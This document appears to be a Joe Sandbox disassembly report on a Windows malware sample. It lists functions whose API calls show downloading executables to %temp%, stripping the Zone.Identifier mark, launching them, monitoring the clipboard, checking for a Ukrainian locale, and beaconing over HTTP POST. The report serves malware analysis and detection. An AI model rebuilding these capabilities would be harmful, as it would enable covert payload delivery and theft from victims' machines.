Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction ID: 1e7a4891c1a42a5318b19a32161f2d9e989c632f85172a1bcc985bb178a8dbbc
Opcode Fuzzy Hash: b639d9fe06152c2b402f412d2fb95bf7c84a2e2683d3c9481316ca8ef9ae7b76
Instruction Fuzzy Hash: 18119674A40710AFE3609F749C0AF877AE0AF04B14F50892DF699E62E1E2B49544878A

Function 0040EBE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,004075E8), ref: 0040EBF3
strcmp.NTDLL ref: 0040EC02

Strings

UKR, xrefs: 0040EBF9

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction ID: 39a3b49c0f9cc0ba3e3bafda0df6f1f41861fe80aa697247161161d98fc04bc2
Opcode Fuzzy Hash: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction Fuzzy Hash: 9AE0CD3594830876DA1065A15C02BA6371C5711701F0000B5AF14A21C1E5765119926B

Function 0040EF90 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 235
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040EF99
srand.MSVCRT ref: 0040EFA0
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040EFC0
strlen.NTDLL ref: 0040EFCA
mbstowcs.NTDLL ref: 0040EFE1
rand.MSVCRT ref: 0040EFE9
rand.MSVCRT ref: 0040EFFD
wsprintfW.USER32 ref: 0040F024
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F03A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F069
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F098
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F0CB
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F0FC
CloseHandle.KERNEL32(000000FF), ref: 0040F10B
wsprintfW.USER32 ref: 0040F124
DeleteFileW.KERNEL32(?), ref: 0040F134
Sleep.KERNEL32(000003E8), ref: 0040F13F
Sleep.KERNEL32(000007D0), ref: 0040F160
ExitProcess.KERNEL32 ref: 0040F188
DeleteFileW.KERNEL32(?), ref: 0040F19E
CloseHandle.KERNEL32(000000FF), ref: 0040F1AB
InternetCloseHandle.WININET(00000000), ref: 0040F1B8
InternetCloseHandle.WININET(00000000), ref: 0040F1C5
Sleep.KERNEL32(000003E8), ref: 0040F1D0
rand.MSVCRT ref: 0040F1E5
Sleep.KERNEL32 ref: 0040F1FC
rand.MSVCRT ref: 0040F202
rand.MSVCRT ref: 0040F216
wsprintfW.USER32 ref: 0040F23D
DeleteUrlCacheEntryW.WININET(?), ref: 0040F24D
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F267
wsprintfW.USER32 ref: 0040F287
DeleteFileW.KERNEL32(?), ref: 0040F297
Sleep.KERNEL32(000003E8), ref: 0040F2A2
Sleep.KERNEL32(000007D0), ref: 0040F2C3
ExitProcess.KERNEL32 ref: 0040F2EA
DeleteFileW.KERNEL32(?), ref: 0040F2F9

Strings

%temp%, xrefs: 0040EFBB
%s\%d%d.exe, xrefs: 0040F018
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040F035
%s:Zone.Identifier, xrefs: 0040F118
%s\%d%d.exe, xrefs: 0040F231
%s:Zone.Identifier, xrefs: 0040F27B

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$ExitOpenProcess$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 3526668077-2417596247
Opcode ID: d61462c6eaf3bb37fe7557a11c84e855f2e164ce5b2d085cf383048d0c46b177
Instruction ID: 8d9dde5e83d6f5576f0fa95dcda068e4d807ca32b5c879c9ce831b2193034ea7
Opcode Fuzzy Hash: d61462c6eaf3bb37fe7557a11c84e855f2e164ce5b2d085cf383048d0c46b177
Instruction Fuzzy Hash: 7D91EBB5940318ABE720DB50DC49FEA3379AF88701F0485B9F609A51C1DABD9AC8CF59

Function 0040B350 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B280: gethostname.WS2_32(?,00000100), ref: 0040B29C
Part of subcall function 0040B280: gethostbyname.WS2_32(?), ref: 0040B2AE

strcmp.NTDLL ref: 0040B380

Strings

.192, xrefs: 0040B40E
.10., xrefs: 0040B48B
127., xrefs: 0040B391
.127, xrefs: 0040B3AF
192., xrefs: 0040B3F0
10., xrefs: 0040B44F
0.0.0.0, xrefs: 0040B36E
.192., xrefs: 0040B42C
.10, xrefs: 0040B46D
.127., xrefs: 0040B3CD

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: 0f5039163e3a60cdc16b03ecb7c0134fb67bf6b75b9fd7ee3961c739777e0be2
Instruction ID: 1e2a78016ab808788e4a3d10fbde234ca2a84306dd4339bbdfb36d09265cce6e
Opcode Fuzzy Hash: 0f5039163e3a60cdc16b03ecb7c0134fb67bf6b75b9fd7ee3961c739777e0be2
Instruction Fuzzy Hash: C76171B5940305A7DB00AB61EC46BAA3765AB10318F18847AFC05673C2F77DE664C6DF

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction ID: 2c6eba30162642fa916e9f7e0fa03190df933f3dd928bdc23040f585d31ac0f6
Opcode Fuzzy Hash: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction Fuzzy Hash: 9E41F671600300ABCB209F74DC8CB9B77A9AF44720F14463DF995A72E1DB78E881CB99

Function 0040E9A0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E9C8
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EA18
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EA2B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040EA64
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040EA9A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040EAC5
HttpSendRequestA.WININET(00000000,00411FA0,000000FF,00009E34), ref: 0040EAEF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040EB2E
memcpy.NTDLL(00000000,?,00000000), ref: 0040EB80
InternetCloseHandle.WININET(00000000), ref: 0040EBB1
InternetCloseHandle.WININET(00000000), ref: 0040EBBE
InternetCloseHandle.WININET(00000000), ref: 0040EBCB

Strings

<, xrefs: 0040E9D0
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EA26
POST, xrefs: 0040EA8E

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction ID: 65d8e98dfcdbd5221f12c344ddab433f9c0af5994e8cd23f0dde2b718a24ef5d
Opcode Fuzzy Hash: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction Fuzzy Hash: 91512EB5901228ABDB26CF54CC54FE9B3BCAB48705F1485E9B60DA6280D7B86FC4CF54

Function 00405910 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040591C
SetClipboardViewer.USER32(?), ref: 00405968
SetWindowLongW.USER32(?,000000EB,?), ref: 0040597B
IsClipboardFormatAvailable.USER32(0000000D), ref: 004059D0
OpenClipboard.USER32(00000000), ref: 00405A17
GetClipboardData.USER32(00000000), ref: 00405A29
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B30
ChangeClipboardChain.USER32(?,?), ref: 00405B3E
DefWindowProcA.USER32(?,?,?,?), ref: 00405B54

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: cb19e17cacb7ad962392a7750cfffe1c2c8f8667cd08c9b5de7b834d1fa684ec
Instruction ID: ab6473899f09a2e4ce72b89913391a8d882f42dafbfb3729ae4d66df8233a766
Opcode Fuzzy Hash: cb19e17cacb7ad962392a7750cfffe1c2c8f8667cd08c9b5de7b834d1fa684ec
Instruction Fuzzy Hash: 6671FC75A00608EFDF14DFA4D988BAFB7B4EB48300F14856AE506B6290D7799A40CF69

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

ilci, xrefs: 00401630
PCOI, xrefs: 0040160D

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: fdb9d9f1c1081d3bac4efd2c1ea591fdf2f72c624c4a3d2a847f061e6529de26
Instruction ID: 4aeae16d9e67a94d8ff1aa5cc2109be900ec35187bf01e7539301e61904878f7
Opcode Fuzzy Hash: fdb9d9f1c1081d3bac4efd2c1ea591fdf2f72c624c4a3d2a847f061e6529de26
Instruction Fuzzy Hash: FA319475900705ABC7209F70EC48B97B7A8BF08300F048A3AF559A3691C77AF894CB98

Function 00405820 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405838
GetModuleHandleW.KERNEL32(00000000), ref: 00405850
Sleep.KERNEL32(00000001), ref: 00405864
GetTickCount.KERNEL32 ref: 0040586A
GetTickCount.KERNEL32 ref: 00405873
wsprintfW.USER32 ref: 00405886
RegisterClassExW.USER32(00000030), ref: 00405893
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 004058BC
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004058D7
TranslateMessage.USER32(?), ref: 004058E5
DispatchMessageA.USER32(?), ref: 004058EF
ExitThread.KERNEL32 ref: 00405901

Strings

%x%X, xrefs: 0040587A
0, xrefs: 00405840

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction ID: f3e1014eb48ffaf448ebc99f6ba60d6258e7c56012e586919e9efecad1237f6d
Opcode Fuzzy Hash: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction Fuzzy Hash: BB211A71940308BBEB10ABA0DC49FEE7B78EB04711F108439F606BA1D0DBB995948F69

Function 0040E070 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E098
InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E22A
InternetCloseHandle.WININET(00000000), ref: 0040E267
InternetCloseHandle.WININET(00000000), ref: 0040E274
InternetCloseHandle.WININET(00000000), ref: 0040E281

Strings

GET, xrefs: 0040E15B
<, xrefs: 0040E0A0

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction ID: 8a187a806069c9ef74607f7bf39df95f2c1829c28a5b92bcc4b0b83bf30a7a56
Opcode Fuzzy Hash: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction Fuzzy Hash: 16512DB1941228ABDB36CB50CC55BE9B3BCAB48705F1444E9F60DAA2C0D7B96BC4CF54

Function 00406B50 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406B5E
GetModuleFileNameW.KERNEL32(00000000,0041A428,00000104), ref: 00406B70

Part of subcall function 0040EC20: CreateFileW.KERNEL32(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040EC40
Part of subcall function 0040EC20: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EC55
Part of subcall function 0040EC20: CloseHandle.KERNEL32(000000FF), ref: 0040EC62

ExitThread.KERNEL32 ref: 00406CDA

Part of subcall function 00406340: GetLogicalDrives.KERNEL32 ref: 00406346
Part of subcall function 00406340: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
Part of subcall function 00406340: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
Part of subcall function 00406340: RegCloseKey.ADVAPI32(?), ref: 004063DE

Sleep.KERNEL32(000007D0), ref: 00406CCD

Part of subcall function 00406260: lstrcpyW.KERNEL32(?,?), ref: 004062B3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C0F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C24
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406C3F
wsprintfW.USER32 ref: 00406C52
wsprintfW.USER32 ref: 00406C72
wsprintfW.USER32 ref: 00406C95

Strings

%s%s, xrefs: 00406C89
Unnamed volume, xrefs: 00406C66
(%dGB), xrefs: 00406C46

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction ID: 453264953970db4b87c24ab6cdbfc4a104d47f91dccd03b52bb95ce70ceb3e7a
Opcode Fuzzy Hash: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction Fuzzy Hash: E041A9B1940218BBE714DB94DD55FEE7378BB48700F0081BAF20AB61D0DA785B94CF6A

Function 0040EC70 Relevance: 16.6, APIs: 11, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040ECA2
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040ECC3
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040ECE2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ECFB
memcmp.NTDLL ref: 0040ED8D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040EDB0
CloseHandle.KERNEL32(00000000), ref: 0040EDBA
CloseHandle.KERNEL32(000000FF), ref: 0040EDC4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EDE3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040EE08
CloseHandle.KERNEL32(000000FF), ref: 0040EE12

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 643dd6457151afb767136b96de088e300be71ca2aa9c529637807d59cb8df3e5
Instruction ID: 32b63ebe374edb734f10ceafdcfe6a9e739b08b32ae31a868bafe8a6799fa03f
Opcode Fuzzy Hash: 643dd6457151afb767136b96de088e300be71ca2aa9c529637807d59cb8df3e5
Instruction Fuzzy Hash: 20514EB4E40209FBDB14DFA4CC49BDEB774AB48704F108569E611B72C0D7B9AA40CB98

Function 0040D780 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040D786
GetThreadPriority.KERNEL32(00000000,?,?,?,00407F75,?,000000FF), ref: 0040D78D
GetCurrentThread.KERNEL32 ref: 0040D798
SetThreadPriority.KERNEL32(00000000,?,?,?,00407F75,?,000000FF), ref: 0040D79F
InterlockedExchangeAdd.KERNEL32(00407F75,00000000), ref: 0040D7C2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D7F7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D842
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D85E
Sleep.KERNEL32(00000001), ref: 0040D88E
GetCurrentThread.KERNEL32 ref: 0040D89D
SetThreadPriority.KERNEL32(00000000,?,?,?,00407F75), ref: 0040D8A4

Memory Dump Source

Source File: 00000005.00000002.1579577467.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1579557365.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1579607717.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3193211493.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction ID: 6fb5641eb3e61aabfeb8d94b6f23565c140e371fca94fd76c4ad34d85bd1d77f
Opcode Fuzzy Hash: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction Fuzzy Hash: 32414C75E00209EBCB04EFE4D848BAEBB71EF44305F10C16AE916A7384D6789A85CF55

Function 0040EE30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60sleepprocessCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040EE3E
memset.NTDLL ref: 0040EE4E
CreateProcessW.KERNEL32(00000000,00407896,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040EE87
Sleep.KERNEL32(000003E8), ref: 0040EE97
ShellExecuteW.SHELL32(00000000,open,00407896,00000000,00000000,00000000), ref: 0040EEB2
Sleep.KERNEL32(000003E8), ref: 0040EECC

Strings

open, xrefs: 0040EEAB
D, xrefs: 0040EE56
, xrefs: 0040EEC1

Memory Dump Source

